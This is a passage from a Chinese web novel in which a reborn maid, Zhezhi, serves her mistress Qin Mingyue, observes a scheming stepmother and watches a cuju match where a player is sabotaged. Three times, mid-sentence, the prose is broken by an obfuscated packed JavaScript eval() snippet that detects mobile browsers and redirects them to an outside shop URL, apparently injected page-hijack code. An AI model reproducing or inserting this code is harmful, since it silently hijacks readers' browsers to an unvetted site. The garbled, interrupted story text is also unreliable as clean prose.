翠云在旁边听，回去后立马禀告了秦明月。秦明月以为是自己逼迫折枝说出天机，遭了天谴才亏空如此，对折枝的愧疚更深了。 而半吊子先生折枝，正躺在床上，睁开那双幽深的眼睛，平静无波。 只是她如今瘦得跟个小猫似的，身体不亏空才怪。 对于秦明月和冯铭的事情，若是以后不出什么意外，她点到为止。毕竟事关自己的选择，她也插手不得。 她思绪转圜。 秦家倒台，树倒猢狲散，她作为秦家下人免不了受苦。 所以当务之急，她得稳住秦家的局面，她要秦家这棵大树在她攒够赎身银子之前不能倒下。 既然冯铭钟情于秦明月，又为何当初要和秦家退婚，让秦家陷入孤立无援的地步？ 光是这秦家之事，便如同一盘错综复杂的棋局，牵一发而动全身。只是她不清楚，究竟有几位执棋人动过这局棋呢？ 一夜无梦，却睡得异常安稳。 睡意深深，就连柳红什么时候回来的她都不知道。昨夜又下了雨，不过雨疏风骤，开在秦府的花便被凌虐得更惨了。 等折枝再次醒来，就听说秦明月在院子里又发了好大一通脾气。 檐下雨水连成线，往着地下滴答滴答。 金铎摇动，发出悠扬的铃声。 新雀绕枝，叽叽喳喳吵闹不停。 秦明月今日穿了身葱绿色掐花翠纹藕丝裙，里面还搭了条丝绸宽裤子。乌发用雀鸟催枝簪子固定住，挽了个高椎髻，发间钗着珠颤金枝步摇。脚上穿着另一双漳绒攒花鞋子，鞋顶顶着颗玉珠，晶莹剔透。 那玉珠抵在竹球前面，似是在与竹球上面的丝线穿梭成的花样子比美。 她用手撑在躺椅的扶手上，袖口往下倾斜，露出一截皓腕。 皓腕上一张如花似玉的面容如同海棠垂泪，我见犹怜。 让人先顾不得她脾气蛮横，只为了抚平她皱成川字的黛眉。 折枝跪在地上向秦明月请安，很快听见她闷闷不乐喊她起身。 “小姐，您今日为何闷闷不乐啊，可是遇见什么不高兴的事儿了？” 折枝试探性出声，脑子仔细回想上一世这个时间到底还有什么插曲她忘记了。她只依稀记得那段时间秦府不甚太平，京中不止有着秦明月嚣张跋扈的传言，似乎是还有另一个传言传得沸沸扬扬的。 折枝并不知道那个传言究竟是什么，因为秦老爷下令全府上下不得提及府外的闲言碎语，更不许让小姐知道。她就未曾打听过。 难不成今日秦明月忧心之事，就与第二件传言有关？ 秦明月听了折枝的询问，先是装模做样地叹了口气，接着才缓缓开口：“这几日本小姐苦练蹴鞠，就为了两日后在国公夫人办的宴会上大展身手。哪成想国公府的今早才递信过来说今年女子在蹴鞠马球投壶上都不必比赛了，只让男子上场，说是有伤大雅……哼，说辞罢了。” 秦明月伤心得很，只因为她在琴棋书画上几乎一窍不通，对于诗词歌赋也不感兴趣。唯独对蹴鞠投壶捶丸这些玩的感兴趣，且做得很好。 得她青眼的林觉，容貌只能算作是清秀中上，只因在赛场上表现不错而为他增添了更多魅力。 折枝想到前世秦明月也没有上场，在讨彩头之时大手一挥，将身上挂着的荷包上的银子全部倒在铜盘上，并且全部押注了林觉那一队。 林觉那一队果真赢了，而秦明月也因此更喜欢林觉了。 折枝上前替秦明月捶背捏肩，力度恰到好处，她轻声宽慰道：“小姐，你莫要生气了。依奴婢之见，不上场也未尝不是件好事。” 折枝眼骨碌一转，正在想理由来搪塞秦明月。忽然想起薛泠少时被送至乡下，被纵得无法无天，开元四十一年正是她回京城的时候。 和秦明月一样，薛泠粗鄙不堪五大三粗貌若无盐的流言传得沸沸扬扬。 折枝心中念了好几声阿弥陀佛，才继续附在秦明月身边咬耳朵：“听说右相家从乡下接回来了个大小姐，粗鄙不堪，浑身横肉，蛮横无比。若是在赛场上遇见薛大小姐那样的人，怕是哑巴吃黄连，有苦说不出了。” 折枝继续道：“薛大小姐才回京城，薛相如何也会想让她大出风头……”折枝顿了顿，继续开始编胡话，“若是一个队伍那倒是无妨，只是若不在一个队伍，小姐对上她难免磕磕碰碰，咱们小姐这花容月貌的，要是一不小心划伤了可算可惜。” 秦明月摸了摸自己娇嫩的脸蛋，被折枝的话唬得脊背一凉，顿时再没有了上场的心思。 薛泠的传言她多多少少听说了些，确实被传的凶神恶煞，她虽心里没底，但想到薛泠生母是镇国将军嫡女，随她父亲上场打过仗。虽然她未曾见过薛相先夫人吧，但也是听传言说可怖的很。 有其母必有其女。 秦明月讪讪回答。 “那我还是先看看那薛泠是不是如同传言一样可怕再做打算吧。” 秦明月心情好了一些，往折枝手中塞了一把金叶子，嘱咐折枝好生休养，过两天她要带着她一同前去赴宴。 折枝接过那把金叶子，额角狂跳不止。 秦明月出手如此大方，她想不通自己前世究竟是为何没有攒够赎身银子了。 折枝连忙跪地谢恩，“得小姐挂念，奴婢一定能够快快见好，来日伺候在小姐身边，唯小姐马首是瞻！” 恭维话说尽了，折枝望着秦明月，只见她漂亮的眼睛眨了眨，似乎还有别的话想说。 接着折枝又看见秦明月身边站着不言不语的翠云亮着眼睛同样盯着她。 折枝心道几声不好，又听见秦明月咳了两声，故作矜持开口相问。 “折枝啊……你昨日帮我看了桃花运，咳咳……今日不如帮本小姐看看财运是否通达，成婚后夫妻是否和睦，命中何时遇见贵人？” 秦明月娇俏的脸上染上一抹粉红，说的话却是越来越大胆。 果然，编这些话有了一次便会有无数次。 折枝横端着手放在地上，随即身子立马跪下，在别人看不见的地方，她扯了扯嘴角，最后再抬起头时重新变幻了一张悲愤遗憾再加上几分幽怨的表情。 “回禀小姐……昨夜奴婢又面见了阎王大老爷，阎王大老爷说奴婢无端道破天机，实在破了规矩，于是便将那观面相之法给收回去了。” 秦明月虽然失望，不过也不能再勉强。连带着身边站着的翠云脸色也变得冷了些，恨不得同阎王大老爷再商量商量再宽限些时日，待折枝为她看完面相，解析出她何时出府，良人在何处才算好呢。 折枝看出秦明月着实有些失望，便跪在地上重新磕了一个头，声音沉重。 “奴婢虽不能再道破天机，但奴婢相信小姐福德如海，此生定然顺遂安康。奴婢祝小姐得偿所愿。” 秦明月闻言果然大喜，正逢院子里忽然来了位小厮通报秦夫人请她去前院试新做好的衣裙。她连忙让折枝起身，跟她一路去了前院。 折枝如今干不了重活，但举着衣裙还是不在话下的。 房内两位婢子跪在下侧，每人托举着一个檀木刻印盘子，盘上叠放了工工整整的新衣。而侍候在秀竹屏风之后的，还有婢子几双，从中央的柱子排到门前。 秦明月来时，秦夫人早已在中间坐好。 只是秦夫人不知在和谁人说话，爽朗笑声透过屏风传入众人耳中。 “本来差遣下人送来便好，哪里劳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533274|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛夫人亲自前来？” 折枝低垂着脑袋，像只鹌鹑一样老实，生怕自己哪里行差踏错惹得夫人不虞。 这个秦夫人，虽然对于秦明月的礼仪管教不严，可对她们这些下人严苛的很。前世她在秦明月跟前服侍，不知道被喊过去提点了多少回。 秦明月所居住的院子叫做秋水轩，靠近后院假山，离秦夫人的院子近，往前厅走也不到半刻钟便可以走到。 故而秦夫人明知秦明月会何时走进前厅，却一直未曾送客，想必是想让秦明月见见来者何人。 薛夫人垂着眸子不动声色拂去茶盏上的浮沫，接着啜了一口，翘着指头轻轻把茶盏放下，才缓缓回答秦夫人的问题。 “哪里的话，我与姐姐亲近，理应是亲自来一趟了。只可怜我那新接回来的女儿，从小就没了母亲……”客人从袖中抽出手帕，在眼尾轻点两下，“五岁时遇见算命的说不能养在薛府，否则她怕是长不大。只好把泠姐儿养在庄子里……衣服吃食从未短过她的，只是这脾气实在是被纵得无法无天。” 薛夫人语调幽幽，仿佛在倾诉什么了不得的冤情。 “她脾气倔强，就连我这个母亲也劝不住。本来国公府递了帖子来让她和姝姐儿一同前去，我想着这也算是个机会让京中名门们认识认识泠姐儿。可她非不愿意去，连累得姝姐儿也不好独身前去。” “我也是为她操碎了心，只好厚着脸皮上姐姐这里。” “无论孩子有多任性，我们这些当父母也总得为她谋算吧？”薛夫人叹一口气，“泠姐儿来京中时日短，京中名门闺秀们无人认识，连个能说心里话的人都没有……只好四处递帖子，卖卖我与夫君的老脸，希望姐姐届时一定要来……” 话匣子半晌闭不上，秦明月的脸色从一开始的激动喜悦变作了不耐烦，不过仍旧不敢发出声响，只是默默站在旁边。 薛夫人又有意无意卖了几句惨，发现秦夫人听得也有些不耐了才一副才发现秦明月不知道何时来了的表情。 “这就是月姐儿吧？果然生得标致，这通身的气派，怕说是哪家王公家的女儿也使得的。” 秦夫人听见她恭维秦明月，面色和缓些，招呼秦明月过来。 “这是开化坊薛家的薛夫人。” 秦明月闻言盈盈施礼，“见过薛夫人。” 方才听完薛夫人的话，折枝基本可以断定，面前的这个薛夫人就是薛泠那个继母。 折枝趁着秦明月问安，同她一起行礼时才敢抬头瞄两眼那个薛夫人究竟长什么样子。 前世折枝没见过薛夫人，只是在薛泠的嘴里经常提起过她。 只见那薛夫人身着暗红色素面镶边绸缎长裙，头上简单簪了两根簪子。一根是梅花碧玉簪，另一根是珊瑚绿松石珠花。耳垂处挂了一对翡翠雕花耳坠，看似低调，可折枝看出衣服配饰皆是用的最好的料子。 折枝前世做乐伎时，乐官们为了逢迎达官贵人，将她们全打扮成了一樽樽金雕。只是也不愿意全给她们用好的东西，能作假的全是作假，不能作假的也挑些次货以次充好。不过是表面光鲜罢了。 再观察那薛夫人的长相，一双柳叶眉，一对含情眼，总是一副泫然若泣的表情。纵使已经年过三十，保养得还如同二八少女一般。 折枝暗中咋舌，难怪薛泠总说她后母难缠。 这一番矫揉造作的姿态，连她们这些乐坊乐伎也自愧不如。 这个薛夫人虽然见人说人话，见鬼说鬼话，但夸赞秦明月时却带着几分真心实意。 秦夫人和秦明月喜好不一。秦明月喜好奢靡，越繁琐越精致的物件衣裳她越喜欢。可秦夫人偏偏在其他方面都喜好素雅，越素越雅极好，可唯独在打扮秦明月这方面，恨不得把圣上赐的东珠都镶嵌在她脑袋上。 从这方面来说，某些不得宠的王公贵女倒真的不能和秦明月相比。 5. 梳妆 虽知道夸赞夸到了秦母李氏的心头，薛夫人也知道自己再在这里继续怕是不招人待见了。 她捏着帕子，掩在唇边，看了眼李氏婉声道：“姐姐这里既然还有事要忙，妹妹就先不叨扰了。” 她身旁那嬷嬷闻声挺直身子，屈身上前扶着她的手臂往外走。 秦夫人也从高座上下来，被她身边的覃姑姑虚扶住，带着秦明月一起向着府外送客。 只见那薛夫人杨氏坐在马车上还撩起帘子往外挥着帕子，“好姐姐，你可一定要来啊！” 秦夫人笑眯眯送走她，见到薛夫人的马车拐过了街角才沉下脸色。她穿得素雅，却又不失雍容。到底母家是国子监祭酒，不是杨氏那小门小户塞过来续弦的，再素雅气势上也绝不输她。 李氏带着秦明月往府里走，吩咐小厮将门上了栓才转过身来问秦明月。 “你可知道我为何非要你出来见那杨氏一面？” 秦明月现如今脑子里只有她新做的衣服，正迫不及待拔腿想跑，却被母亲沉着脸问住。一时间她也想不出个理由，只好如实回答。 “女儿不知。” 李氏抬起手，伸出食指恨铁不成钢地点了点秦明月的额头，无可奈何道：“你呀，被我和你父亲教导成了个没城府的，根本猜不到这其中的弯弯绕绕。” 李氏自诞下秦明月后，每日忙碌于管家和治理家中铺面当中，对秦明月的管教就少了些。而秦尚书忙于政务，自然无暇教养女儿。夫妻俩自知亏欠秦明月，恨不得将天上的月亮都捧给她。 可是孩子大了再如何弥补也已然定型，秦明月俨然一副没心没肺的笨蛋美人样子，任天王老爷也改变不了。 所以夫妻俩也只能在秦明月的婚事上做文章，为她挑选那么一门不那么费心思的婆家，日后也只需让她做个什么都不用多想的便好了。 秦明月睁大眼睛，美目颤抖，“母亲，有何弯弯绕绕？” 她觉得，没问题呀。 不就是薛家要办宴席，害怕她家不去便上门来求个情面么，有什么不妥？ 李氏叹了口气，自然知道凭借秦明月的脑子自然是想不出来的，“我是让你见见这薛家夫人，日后若是遇见薛家的女儿，记得千万不要结交，是没那么好相与的。” 折枝在旁边听，顿时眉头一跳。 对了，上一世秦明月与太尉赵氏的赵敏还有李氏母家的李瑜交好，可在秦家倒台之后，怎么没见过李家赵家帮衬下秦家？ 虽说墙倒众人推，可李家是李氏母家，有层姻亲关系在，怎么说也不至于让秦家到了家破人亡的地步，再次保下秦明月也不成问题啊。 那个十分可恶的李家公子李勤不就是秦明月的表兄之一？嫡子不想娶秦明月也就罢了，或许是惧她跋扈名声怕了。难不成竟连个庶子也配不得吗？ “相府设宴，我们岂有不去之理？可偏偏杨氏做出这副姿态求着我去，薛家接回来的那个泠姐儿还未曾露面便叫她在各府夫人面前印象不好了。偏生她看似放下脸面四处替她求情，博得个好名声不说，要是心思少些的被她卖了还替她数钱心里感激她这个后母呢。你以为她杨氏真是和我关系近些只来了我府上？大错特错。” 折枝在心里暗暗发笑。 因为的确有那种心思少些的，就是薛泠。 当初嫁入祁阳王府，薛泠原本以为是个好去处，还感激她后母为她寻了一门好亲事，结果进了王府才知道，那王府根本就是个狼窟！她左想右想才明白她这个母亲不是个好人。 李氏轻摇着扇子，给秦明月指了指，那些端着檀木盘的婢子便屈下身子上前，腰下步伐快而齐整，无人敢有差错。 “想是来我府上之前，不知道叩响了多少家的门环。” 秦明月也无心在意李氏究竟在絮絮叨叨地说着些什么，倒是一旁的折枝听得兴味盎然。 “月儿啊，母亲同你说，各家办的宴席并不是为了吃喝，更非为了玩乐，而是让京中权贵家的公子小姐之间相看的。杨氏如此做派，怕是让泠姐儿日后的婚事难找了。谁家敢找她作媳妇，后母难缠只差没摆在明面上了！” 李氏原本鲜少对别人做评价，今日或许是看到杨氏做派实在是惹得她心中不虞。 好歹续弦也是主母，偏偏杨氏一副妾室姨娘做派，容不得原配留下的子女，哪里有做正室的样子？ 日后她若是发现自家夫君养了外室，必定恭恭敬敬迎那外室进门。若是外室有了孩子，养在她名下便好，她决计不会小肚鸡肠故意养坏小孩，这才是正室主母的肚量！ 秦明月正拿着一对并蒂海棠花步摇，往头上比了又比，爱不释手。 折枝想，秦明月或许是很喜欢海棠花的，秦府上下唯独海棠花最多，更是搜罗了各式各样的海棠花。听闻老爷书房前还有树白色的海棠花，只是她一直没寻到机会去看过。 “母亲，后日宴会我要带这支步摇！” 李氏知道秦明月无心听她唠叨，大手一挥吩咐下人送到小姐院子里。接着便走近秦明月身边，摸着她的手语重心长道。 “月儿啊，母亲和你说的话你可都要放在心上啊。” * 后日，天依旧漆黑一片，折枝便和翠云守在秦明月闺房前等待秦明月起身。 折枝不得不感概年轻的身体就是好，明明才受了板子没几日，竟然就能重新蹦跶了。 要是前世的她，必定想着该如何偷懒，可如今为了快些攒到赎身银子，她可一分都不能懈怠。 仍然忍不住打了个哈欠，连带着身旁的翠云也打了个哈欠。 翠云打完哈欠，一张算得上清秀的脸立刻沉下来，看向折枝的目光有些不善。 折枝不明所以，先是往秦明月的闺房内看了一眼，接着轻声细语地问起翠云。 “翠云姐姐？你为何这样看我？” 记得上一世她和翠云并无过节，而直到秦明月身死，她也一直是秦明月最重用的丫鬟。而她折枝虽然被秦明月收作了贴身丫鬟，很多事情也从未插手过，只是做些无关痛痒的打杂活儿罢了。 诸如跑腿端水之类的杂活才让她做，像给秦明月梳妆，陪秦明月玩耍的活儿根本轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533275|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上她。 难不成？ 折枝心里暗自发笑，毫不避讳地对上翠云的眼睛，看她朝着自己翻了个白眼之后就不再说话了。 可这一世的翠云见快到卯时，便狠狠推了一把折枝，一副本姑娘给你个机会望你能把持住别给脸不要脸的表情，接着道：“既然你是小姐点名提拔做贴身丫鬟的，那我这个旧人也给你次机会，今日我去替你备好热水，你去给小姐梳妆打扮，别误了时辰，快去吧。” 折枝被她一推，一个踉跄差点跌在地上，不过她身手快，倚在柱子前又重新站起来了。 折枝推开大门，撩开一层又一层纱帘。珠玉混着轻纱，即使相碰发出的声响也十分微弱。 秦明月已经起身，坐在铜镜面前正迷糊着，看到是折枝过来，瞬间清醒了许多。 “今日怎么是你来？” 秦明月往后看了眼，没看见翠云，心里诧异得很，同样有些抗拒，“我今日要前去赴宴，朝天髻你可会梳？如若不行便将翠云喊过来吧，去的太晚母亲也要说嘴的。” 她近来是对折枝颇有好感，但打心底里最信任的还是陪她一起长大的翠云。 折枝心底苦笑。要是那个翠云真想来，她不必去喊自然会来。可惜那个翠云明摆着要让她这个初来乍到的受到小姐厌弃，她揣测她一个曾经是洒扫丫鬟的黄毛丫头，连小姐的闺房都没进过，更谈何会梳这些样式？ 可惜翠云揣测错了，前世折枝爱美，跟在身边的梳头嬷嬷她嫌梳得不好，便自己亲手动手。京中时兴的发髻样式她悉数熟练，甚至之后京中妇人皆来效仿折枝娘子的打扮，掀起一阵浪潮。 秦明月的青丝抹上了桂花头油，在折枝的手上似乎有了生命似的，翻来又覆去。 就连端着铜盆准备看好戏的翠云看到眼前一幕也觉得难以置信——秦明月的乌发被盘得一丝不苟，油亮油亮的，牵缠弯绕，饱满挺立，还未曾上发钗珠花步摇就已经精致无双。 烛光跳跃之下，秦明月对着镜子缓缓欣赏，“折枝，我看你梳的发髻，好像和翠云和嬷嬷梳的不太一样，也和别家小姐的不一样。” “好似更加独特，却又不显得古板，本小姐喜欢。” 翠云端着盆子的手狠狠攥住盆边，甚至骨节都有些泛白。 凭什么她一个黄毛丫鬟也会梳这样繁琐的发髻？她当初可是跟着小姐最初的梳头嬷嬷那里学了好几年才学到今天的手艺的。 两人招呼着秦明月洗漱，洗净脸之后继续上妆钗发。 折枝看了眼翠云，似乎在问你来还是我来？ 哪成想翠云却以为是折枝侥幸会梳头罢了，对上妆这些一窍不通，她得意冷哼一声，朝着秦明月缓道：“既然今日是折枝为小姐梳洗打扮，那奴婢自然不能抢了折枝的功劳，免得说奴婢这个旧人不给做新人的机会，奴婢可担待不起。小姐您说是不是？” 秦明月皱着眉没说话，像是默认了她的话。 折枝叹了口气，装作很为难的样子。 这可是你说的啊。 到时候没饭碗了别怨她。 6. 蹴鞠 国公府。 秦明月到了庄子上，想和姐妹们叙话，便坐在一起看外面热火朝天的赛场。 至于各家夫人们，自是坐在另一堆的，管不着她们这些当小辈的说话。 折枝立在一旁，又是给秦明月倒水又是扇风的，忙得不亦乐乎。 这日子本还没到热的时候，可今日日头毒，照得人受不了，即使是坐在连廊里也仍能感受到热气。 秦明月旁边坐着的一位蓝衣少女察觉折枝殷勤侍候，有些好奇开口：“月姐姐，我记得你上回带的贴身婢女并不是这位啊，怎么，先前那个惹你不高兴了？” 少女长相清丽，一身天青色芍药纹齐胸襦裙更衬得她出尘，添了几分亲近。容貌只算做中上，可气质倒是超凡脱俗。 折枝见过她，她就是时常来秦府寻秦明月谈心的李瑜。李瑜本就是秦明月的表妹，做不成朋友也是亲戚，关系自然差不到哪去。 李瑜诧异也正常，因为往日无论什么宴会，秦明月都是带着翠云前去。而今日最初也是轮不上折枝来的，只不过是因为折枝梳的发髻精致，上的妆容好看，格外开恩让她去了。 其实也不全是吧，主要是翠云见到折枝既会梳发，又会上妆，还会钗发，嫉妒得紧，于是一路上都没有什么好脸色，惹得秦明月也对她不满，索性就带了折枝过来了。 秦明月先吃了一口果子，觉得口中生腻，连喝几口茶才咽下。只是出门出得早，也没有用饭，在李氏屋内吃了些点心就坐上马车匆匆出门了，她现在实在是饿得紧。 折枝拿出帕子，替她轻轻擦去残渣。 这一举动，看得旁边张望底下男儿的赵敏也惊叹不已。 “月妹妹，你这个婢子啊，看着年纪小，心思倒是细腻，做事也是体贴。” 赵敏才发觉她今日妆容发髻与往日不太一样，发髻条顺，头上的反绾的发丝编在发顶，又多出了几股编成细小的发团。乌黑的缎发下，竟还挂着两颗珍珠，恰好将发髻弯绕的那处空白给填补上了。而眉间的花钿也是她从没见过的式样，唇上的口脂，脸颊处的胭脂，都是她没见过的颜色。 “冠芳楼出新品了？”赵敏瞧着秦明月，佯装生气，“好你个秦明月，竟然背着我们自己去买新品。姐妹做到这个地步，怕是也没得什么好留恋的了。” 秦明月才把茶水咽下，就听两个人说了一堆，急急忙忙解释。 “怎么可能，冠芳楼出了新品我一定想着你们呢！” 秦明月笑笑，宽慰两位姐妹道：“翠云跟在我身边多年，是越发不能容忍我收用新的婢子了。我见她如此，反倒要让她收敛收敛脾性，所以今日便没有带她前来，带了我最近喜欢的婢子，叫折枝。” 秦明月毫不避讳夸赞道：“折枝虽然看着年纪小，其实说话做事可惹人喜欢了！” 她伸出白嫩细长的手指，指了指折枝，“今日我的口脂就是折枝调和出来的！我也不知她究竟是如何做到的，就用手指在她掌心抹了又抹化了又化，再上到我的脸上便是这个颜色了！” 两人听得啧啧称奇，低下头不语。似乎是在感慨秦明月找见个这样贴心的侍婢，不过却各自怀有心思。 直到李瑜身边方才不在身旁的贴身婢女莲蓬回来，附在她耳边说了些什么，僵局方才打破。 李瑜招呼两人前去廊前观赛，说是蹴鞠比赛马上开始了。 大乾民众尤爱蹴鞠，贵族到平民，无一不重视蹴鞠。甚至前朝有位落榜的举人，因为踢得好，而被破格录用为官。自开元年间以来，由于圣上喜好蹴鞠，此项娱乐活动便成了公子小姐宴会中必不可少的了。 不过从前的规矩是男子女子皆可以上场，只不过女子比女子的，男子比男子的。最后魁首的彩头，定然是从各位贵人的打赏和主家备下的里面挑取。 折枝忽然觉得今年不允女子上场似乎有据可循，其中原因之一便是圣上子嗣单薄，太子尚且年幼，年岁大些的徒有长公主一位。 而这位长公主才是真正的嚣张跋扈，权势滔天，过度地干涉朝政笼络朝臣，惹得圣上不喜，反倒迁怒这些寻常女子。 圣上就是看不得女子比男子强，却无人敢说真话。 折枝敢说。 只不过只敢在心里说。 场上热火朝天，中央放了个红皮大鼓，鼓旁边站着击鼓人。身侧还有个拿着系着红绸的铜锣的人，鼓声一停，敲锣声立马响起。 敲锣声响起过后，比赛正式开始。 有主家的丫鬟小厮登上女眷们和不上场的公子们休憩的连廊，手里端着铜盘，前来讨彩头。 如今两队相比，一队是奉先社的蹴鞠队，以户部侍郎嫡长子林觉为首，其余公子哥都是京中有头有脸的人物，只不过是折枝不认识罢了。另一队是安平社的蹴鞠队，折枝凑上头跟着秦明月一起张望，为首的似乎是今日宴席主家安国公夫人的嫡次子陈吉，前世与她有那么一两面的缘分。 她扫过第二支队伍的其他队员，很好，她似乎都不认识……的断论被打断，只因为她从队伍当中看见了崔彦林。 蹴鞠之时穿的是特定的服装，林觉那队腰间系着的是蓝色绸缎，而陈吉那队系着的是红色。那衣裳丑的很，不过她觉得崔彦林穿起来煞是好看。 只是……上一世未曾见过崔彦林参加过这些子比赛，她虽不解，但没多想。 赵敏在旁边看得入迷，不禁摇了摇扇子，“今日怎么崔家的幺公子也来了？” 李瑜脸上飞快闪过一抹嫣红，骄傲道：“我哥哥今日来，他与我哥哥交好，自然就也跟着来了。” 而秦明月只顾着看林觉，心中一阵惋惜。 只因为上回折枝同她说，林觉不是她的良缘。 今日再看那林觉，似乎也只是球踢得不错，长得……自然是配不上她这样沉鱼落雁的大美人的。 秦明月轻轻叹口气。 旁边站着的李瑜赵敏以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533276|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们只顾着自己聊天，冷落了她，又看见场上林觉丢了一球，被崔小公子抢走，以为她是为他惋惜，连忙宽慰。 “月姐姐，没关系的，林公子上回也是魁首，这次夺得魁首也是很有可能的。”李瑜转头看见秦明月一脸苦相，又是摇头又是叹气的，以为她实在担心至极。所以虽然心里期盼着她家哥哥和崔彦林那队赢，嘴上也只好说些违心话了。 怎料秦明月继续摇头，叹息道：“亏我之前还曾心悦过林觉，如今看来他也不过如此，我曾经真是瞎了眼了。” 赵敏痴迷的眼神瞬间收回，一双柳叶眼震惊地盯着秦明月，一副像是听到什么不得了的话的表情。 她连忙拉了拉重新专心看比赛的李瑜的衣袖，李瑜不悦转过身来看着她俩，方才因为提及崔彦林的小女儿姿态已经全然不见。 秦明月竖着扇子遮着嘴巴，看着底下的少年一脸嫌弃，“我真不知我从前为何觉得林觉不错，今日看来，他长得不太喜人，想来与我是不太相配。” 李瑜脸上的不悦立刻被另一种神色掩盖，似乎既有惊讶也有愤恨，看着秦明月半晌才开口。 “秦姐姐，你倒也不必这样说吧！” 秦明月不明所以，但被李瑜这样质问也有些生气，便沉下脸来，不说话了。 折枝闻言，暗中挑了挑眉头。 她原先看见李瑜提起崔彦林时，一脸娇羞的模样，还以为李瑜心悦崔彦林。不过如今看见李瑜一副极力维护林觉的样子，她也有些拿不准了。 毕竟正常姐妹听闻自家姐妹脱离苦海，哪有急着维护苦海的？ 倒是赵敏拉住李瑜，又劝告秦明月。 “早先和你说了，那林觉不是什么好人，明明有了未婚妻，偏偏还和别人不清不楚。不就是仗着他弟弟有出息，年纪轻轻就中了举，自己能在蹴鞠场上逞几个威风么？月妹妹说的也没错。” 这赵敏倒是看得清楚，但为何早不啃声，非要等秦明月自己看清了才肯说？ 只不过是不想主动说起，顺水推舟做个人情罢了。 场下喝彩叫好声一片。 崔小公子年纪小，面对一群年纪比他大好几岁的少年同样不惧不退，反而迎难而上，从那些人脚下抢过球来，身姿矫健。 林觉又被一撂，气得直接插手放在腰间，看着崔彦林的目光怨毒无比。 他身侧来了个同样气喘吁吁的队友，把手放在他的肩上，愤声道：“从前怎么不见这个崔小公子这么厉害？” 对面那队有人回应他们。 “那只是崔小公子上场少罢了。” “崔家清贵世家，喜好文墨，不喜欢这些跑来跑去的。” 林觉阴沉着脸，看见崔彦林又进一颗球，浑身几乎快要冒出黑气。 他想起那个人说崔小公子鲜少上场，他嘴角艰难扯出一抹笑。 上场少是吧？ 那就让他见识见识场上经常会出现的场面吧。 7. 使绊 又是一声鼓声响起，敲锣的立马跟上。 那敲锣的敲完过后，举起手上系着红绸的棒槌，厉声大喊：“中场！” 喊罢中场，立刻就有人在鼓旁边的香炉里重新点上一炷香。中场休息约莫半炷香，上半场一炷香，下半场一炷香。 场下的少年听见号令，立马停下脚步，纷纷往观礼台和连廊这边走。 崔彦林一身灰褐色圆领锦袍，头戴方顶头巾，身长玉立。长发被包裹住，衬得他眉目更加深邃。 他迈出腿正朝连廊那边走，却被不知道哪里来的小厮飞快撞到。 那小厮走得匆忙，似乎忙着去做事，并未看到如此大的一个崔小公子。 崔彦林被他猝不及防一撞，那小厮端着的一盆冰水尽数倾倒在他身上。仍旧紧张着的腿被这样凉的水刺激着，竟是猛地一抽。 接着就仰翻在地下了。 陈吉才从他随侍小厮手里拿过帕子擦了擦脖颈处和脸上的汗水，便看见崔彦林扭曲着脸捂着腿在地上打滚。 饶是他神经再大条如今也想明白究竟是什么情形了。 他有些气恼，上前扶起崔彦林，忙问：“怎么回事？身上怎么是湿的？可看清是谁做的？” 崔彦林伸手往那小厮方向一指，哪里还看得到一个人影？！ 崔彦林疼得面目发白，冷汗如雨下，就着陈吉的搀扶慢慢朝着连廊处走，一瘸一拐。 李勤此时正在和妹妹李瑜说话，看到李瑜说着说着脸色变了，猛地回头，看见艰难朝他们这边来的崔彦林，也急得攥起拳头。 “彦林，你这是怎么了？” 几人连忙上前查看崔彦林的伤势，有女眷在场，或许崔小公子也觉得羞涩，便强装着推脱无事。但李勤察觉他浑身湿透，又不便利更衣，吆喝着叫人拿些干净的帕子茶水过来。 而旁边早有一只干枯黄瘦的带着茧子的小手伸上前。伸手那婢子将腰身放得低低的，恭敬无比道：“公子请用。” 此人正是折枝，就连秦明月都不知道她究竟什么时候端起的茶水，又是什么时候拿出的这么一大块帕子的。只看见崔彦林好看的眉头皱了下，随即什么也没说，接过了帕子擦了擦汗。 一杯茶水下肚，崔彦林的脸色也缓和了些。 李勤已然忘记自己曾经刁难过这个婢子的事情了，如今看着折枝，还觉得她似乎有些眼力见。 幸亏日头毒着，否则任谁被这盆冰水一浇，不生场病头疼脑热一回才奇了怪了。 “是林觉那边的人做的是不是，这群不要脸的东西！” 李勤气得发昏，虽然他有时候做事也挺没脸没皮，但以往都是他欺负别人的份，哪有别人欺负他的份！ 陈吉沉吟片刻，看着崔彦林高挺的鼻梁上冒出的一层细汗，有些担忧发问：“彦林，下半场你还能做球头吗？要不然让我或张正禾来做球头，你在场下歇着，或当个散立便好？” 